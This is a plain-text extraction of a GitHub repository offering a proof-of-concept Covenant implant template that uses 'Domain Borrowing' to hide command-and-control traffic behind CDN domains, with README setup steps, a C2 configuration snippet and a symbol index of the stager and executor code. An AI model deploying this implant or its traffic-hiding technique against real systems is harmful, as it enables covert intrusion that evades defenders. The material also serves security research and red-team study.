            if (format.Contains("{0}")) { format = format.Replace("{0}", "(?'group0'.*)"); }
            if (format.Contains("{1}")) { format = format.Replace("{1}", "(?'group1'.*)"); }
            if (format.Contains("{2}")) { format = format.Replace("{2}", "(?'group2'.*)"); }
            if (format.Contains("{3}")) { format = format.Replace("{3}", "(?'group3'.*)"); }
            if (format.Contains("{4}")) { format = format.Replace("{4}", "(?'group4'.*)"); }
            if (format.Contains("{5}")) { format = format.Replace("{5}", "(?'group5'.*)"); }
            Match match = new Regex(format).Match(data);
            List<string> matches = new List<string>();
            if (match.Groups["group0"] != null) { matches.Add(match.Groups["group0"].Value); }
            if (match.Groups["group1"] != null) { matches.Add(match.Groups["group1"].Value); }
            if (match.Groups["group2"] != null) { matches.Add(match.Groups["group2"].Value); }
            if (match.Groups["group3"] != null) { matches.Add(match.Groups["group3"].Value); }
            if (match.Groups["group4"] != null) { matches.Add(match.Groups["group4"].Value); }
            if (match.Groups["group5"] != null) { matches.Add(match.Groups["group5"].Value); }
            return matches;
        }

        // {{REPLACE_PROFILE_MESSAGE_TRANSFORM}}
    }
}

================================================
FILE: Covenant/README.md
================================================
This is a PoC to demonstrate how Domain Borrowing works.

> Based on Covenant commit id c53155615563cf68979820356b8430e4eb01207d.

**Usage:**

**1. Create a new Implant Template with the configuration in the figure below, copy the DomainBorrowingHttpsStager.cs to the StagerCode, and copy the DomainBorrowingHttpsExecutor.cs to the ExecutorCode**

![image-20210330194849932](images/README.assets/image-20210330194849932.png)

**2. replace the Addr, Port, SNI in the StagerCode with your own configuration**

```C#
// ---------------------- configuration ----------------------
string Addr = "staging.fontawesome.com"; // IP or Domain Name
int Port = 443;
string SNI = "img.fontawesome.com";
// -----------------------------------------------------------
```

**3. Create a new listener, the ConnectPort and ConnectAddresses are not used in the template, so ignore them**

**4. When you create a new Launcher, select the template you just created**



================================================
FILE: LICENSE
================================================
MIT License

Copyright (c) 2021 Dliv3

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.


================================================
FILE: README.md
================================================
# DomainBorrowing

Domain Borrowing is a new method to hide your C2 traffic with CDN

For more technical details, please refer to [BH Asia 2021, Domain Borrowing](https://www.blackhat.com/asia-21/briefings/schedule/#domain-borrowing-catch-my-c-traffic-if-you-can-22314)

This repo provides a [Covenant](https://github.com/cobbr/Covenant) Implant Template, which uses Domain Borrowing for C2 communication.

Download .txt
gitextract_lljgq9ze/

├── .gitignore
├── Covenant/
│   ├── DomainBorrowingHttpsExecutor.cs
│   ├── DomainBorrowingHttpsStager.cs
│   └── README.md
├── LICENSE
└── README.md
Download .txt
SYMBOL INDEX (106 symbols across 2 files)

FILE: Covenant/DomainBorrowingHttpsExecutor.cs
  class HttpsClient (line 22) | public class HttpsClient
    method HttpsClient (line 32) | public HttpsClient(string addr, int port, string sni, bool ValidateCer...
    method doDNS (line 49) | private string doDNS(string addr)
    method initSsl (line 64) | private SslStream initSsl()
    method readLine (line 95) | private string readLine(SslStream sslStream)
    method readFull (line 113) | private byte[] readFull(SslStream sslStream, int length)
    method readResponse (line 128) | private string readResponse(SslStream sslStream)
    method buildHeaders (line 197) | private string buildHeaders(string method, Dictionary<string, string> ...
    method send (line 231) | private string send(SslStream sslStream, string httpRequest)
    method Get (line 243) | public string Get(string path, Dictionary<string, string> headers = null)
    method Post (line 253) | public string Post(string path, string data, Dictionary<string, string...
  class Grunt (line 265) | class Grunt
    method Execute (line 267) | public static void Execute(string Addr, int Port, string SNI, string C...
    method TaskExecute (line 483) | private static IntPtr TaskExecute(TaskingMessenger messenger, GruntTas...
  type MessageType (line 620) | public enum MessageType
  class ProfileMessage (line 626) | public class ProfileMessage
  class MessageEventArgs (line 632) | public class MessageEventArgs : EventArgs
  type IMessenger (line 637) | public interface IMessenger
    method Read (line 643) | ProfileMessage Read();
    method Write (line 644) | void Write(string Message);
    method Close (line 645) | void Close();
  class Profile (line 648) | public class Profile
    method Profile (line 654) | public Profile(string GetResponse, string PostRequest, string PostResp...
    method ParseGetResponse (line 661) | public GruntEncryptedMessage ParseGetResponse(string Message) { return...
    method ParsePostRequest (line 662) | public GruntEncryptedMessage ParsePostRequest(string Message) { return...
    method ParsePostResponse (line 663) | public GruntEncryptedMessage ParsePostResponse(string Message) { retur...
    method FormatGetResponse (line 664) | public string FormatGetResponse(GruntEncryptedMessage Message) { retur...
    method FormatPostRequest (line 665) | public string FormatPostRequest(GruntEncryptedMessage Message) { retur...
    method FormatPostResponse (line 666) | public string FormatPostResponse(GruntEncryptedMessage Message) { retu...
    method Parse (line 668) | private static GruntEncryptedMessage Parse(string Format, string Message)
    method Format (line 680) | private static string Format(string Format, GruntEncryptedMessage Mess...
  class TaskingMessenger (line 688) | public class TaskingMessenger
    method TaskingMessenger (line 700) | public TaskingMessenger(MessageCrafter Crafter, IMessenger Messenger, ...
    method ReadTaskingMessage (line 711) | public GruntTaskingMessage ReadTaskingMessage()
    method QueueTaskingMessage (line 753) | public void QueueTaskingMessage(string Message, string Meta = "")
    method WriteTaskingMessage (line 763) | public void WriteTaskingMessage()
    method SetAuthenticator (line 778) | public void SetAuthenticator(string Authenticator)
    method Connect (line 786) | public bool Connect(string Hostname, string PipeName)
    method Disconnect (line 834) | public bool Disconnect(string Identifier)
  class SMBMessenger (line 847) | public class SMBMessenger : IMessenger
    method SMBMessenger (line 878) | public SMBMessenger(string Hostname, string Pipename)
    method SMBMessenger (line 886) | public SMBMessenger(PipeStream Pipe, string Pipename)
    method Read (line 899) | public ProfileMessage Read()
    method Write (line 926) | public void Write(string Message)
    method Close (line 951) | public void Close()
    method InitializePipe (line 969) | private void InitializePipe()
    method MonitorPipeState (line 1000) | private void MonitorPipeState()
    method WriteBytes (line 1025) | private void WriteBytes(byte[] bytes)
    method ReadBytes (line 1043) | private byte[] ReadBytes()
  class HttpMessenger (line 1069) | public class HttpMessenger : IMessenger
    method HttpMessenger (line 1086) | public HttpMessenger(string Addr, int Port, string SNI, string Covenan...
    method Read (line 1095) | public ProfileMessage Read()
    method Write (line 1109) | public void Write(string Message)
    method Close (line 1123) | public void Close() { }
    method GetURL (line 1125) | private string GetURL()
    method SetupCookieWebClient (line 1130) | private void SetupCookieWebClient(ref Dictionary<string, string> headers)
  class MessageCrafter (line 1139) | public class MessageCrafter
    method MessageCrafter (line 1144) | public MessageCrafter(string GUID, Aes SessionKey)
    method Create (line 1150) | public GruntEncryptedMessage Create(string Message, string Meta = "")
    method Create (line 1155) | public GruntEncryptedMessage Create(byte[] Message, string Meta = "")
    method Retrieve (line 1174) | public string Retrieve(GruntEncryptedMessage message)
  class CookieWebClient (line 1184) | public class CookieWebClient : WebClient
    method CookieWebClient (line 1187) | public CookieWebClient()
    method SetCookies (line 1191) | public void SetCookies(Uri uri, string cookies)
    method GetWebRequest (line 1195) | protected override WebRequest GetWebRequest(Uri address)
  type GruntTaskingType (line 1204) | public enum GruntTaskingType
  class GruntTaskingMessage (line 1218) | public class GruntTaskingMessage
    method FromJson (line 1226) | public static GruntTaskingMessage FromJson(string message)
    method ToJson (line 1239) | public static string ToJson(GruntTaskingMessage message)
  type GruntTaskingStatus (line 1251) | public enum GruntTaskingStatus
  class GruntTaskingMessageResponse (line 1260) | public class GruntTaskingMessageResponse
    method GruntTaskingMessageResponse (line 1262) | public GruntTaskingMessageResponse(GruntTaskingStatus status, string o...
    method ToJson (line 1271) | public string ToJson()
  class GruntEncryptedMessage (line 1281) | public class GruntEncryptedMessage
    type GruntEncryptedMessageType (line 1283) | public enum GruntEncryptedMessageType
    method VerifyHMAC (line 1296) | public bool VerifyHMAC(byte[] Key)
    method FromJson (line 1311) | public static GruntEncryptedMessage FromJson(string message)
    method ToJson (line 1326) | public static string ToJson(GruntEncryptedMessage message)
  class Common (line 1340) | public static class Common
  class Utilities (line 1348) | public static class Utilities
    method AesEncrypt (line 1351) | public static byte[] AesEncrypt(byte[] data, byte[] key)
    method AesDecrypt (line 1367) | public static byte[] AesDecrypt(byte[] data, byte[] key)
    method AesDecrypt (line 1382) | public static byte[] AesDecrypt(GruntEncryptedMessage encryptedMessage...
    method ComputeHMAC (line 1393) | public static byte[] ComputeHMAC(byte[] data, byte[] key)
    method VerifyHMAC (line 1399) | public static bool VerifyHMAC(byte[] hashedBytes, byte[] hash, byte[] ...
    method Compress (line 1407) | public static byte[] Compress(byte[] bytes)
    method Decompress (line 1421) | public static byte[] Decompress(byte[] compressed)
    method Parse (line 1443) | public static List<string> Parse(string data, string format)
    method JavaScriptStringEncode (line 1464) | public static string JavaScriptStringEncode(string value)

FILE: Covenant/DomainBorrowingHttpsStager.cs
  class HttpsClient (line 17) | public class HttpsClient
    method HttpsClient (line 27) | public HttpsClient(string addr, int port, string sni, bool ValidateCer...
    method doDNS (line 44) | private string doDNS(string addr)
    method initSsl (line 59) | private SslStream initSsl()
    method readLine (line 90) | private string readLine(SslStream sslStream)
    method readFull (line 108) | private byte[] readFull(SslStream sslStream, int length)
    method readResponse (line 123) | private string readResponse(SslStream sslStream)
    method buildHeaders (line 192) | private string buildHeaders(string method, Dictionary<string, string> ...
    method send (line 226) | private string send(SslStream sslStream, string httpRequest)
    method Get (line 238) | public string Get(string path, Dictionary<string, string> headers = null)
    method Post (line 248) | public string Post(string path, string data, Dictionary<string, string...
  class GruntStager (line 261) | public class GruntStager
    method GruntStager (line 263) | public GruntStager()
    method Main (line 267) | [STAThread]
    method Execute (line 272) | public static void Execute()
    method ExecuteStager (line 276) | public void ExecuteStager()
    method Parse (line 399) | public static List<string> Parse(string data, string format)
Condensed preview — 6 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (93K chars).
[
  {
    "path": ".gitignore",
    "chars": 17,
    "preview": ".DS_Store\n.vscode"
  },
  {
    "path": "Covenant/DomainBorrowingHttpsExecutor.cs",
    "chars": 67468,
    "preview": "using System;\nusing System.Net;\nusing System.Linq;\nusing System.Text;\nusing System.IO;\nusing System.IO.Pipes;\nusing Syst"
  },
  {
    "path": "Covenant/DomainBorrowingHttpsStager.cs",
    "chars": 20374,
    "preview": "using System;\nusing System.Net;\nusing System.Net.Sockets;\nusing System.Net.Security;\nusing System.Linq;\nusing System.Tex"
  },
  {
    "path": "Covenant/README.md",
    "chars": 949,
    "preview": "This is a PoC to demonstrate how Domain Borrowing works.\n\n> Based on Covenant commit id c53155615563cf68979820356b8430e4"
  },
  {
    "path": "LICENSE",
    "chars": 1062,
    "preview": "MIT License\n\nCopyright (c) 2021 Dliv3\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof t"
  },
  {
    "path": "README.md",
    "chars": 407,
    "preview": "# DomainBorrowing\n\nDomain Borrowing is a new method to hide your C2 traffic with CDN\n\nFor more technical details, please"
  }
]

About this extraction

This page contains the full source code of the Dliv3/DomainBorrowing GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 6 files (88.2 KB), approximately 17.0k tokens, and a symbol index with 106 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!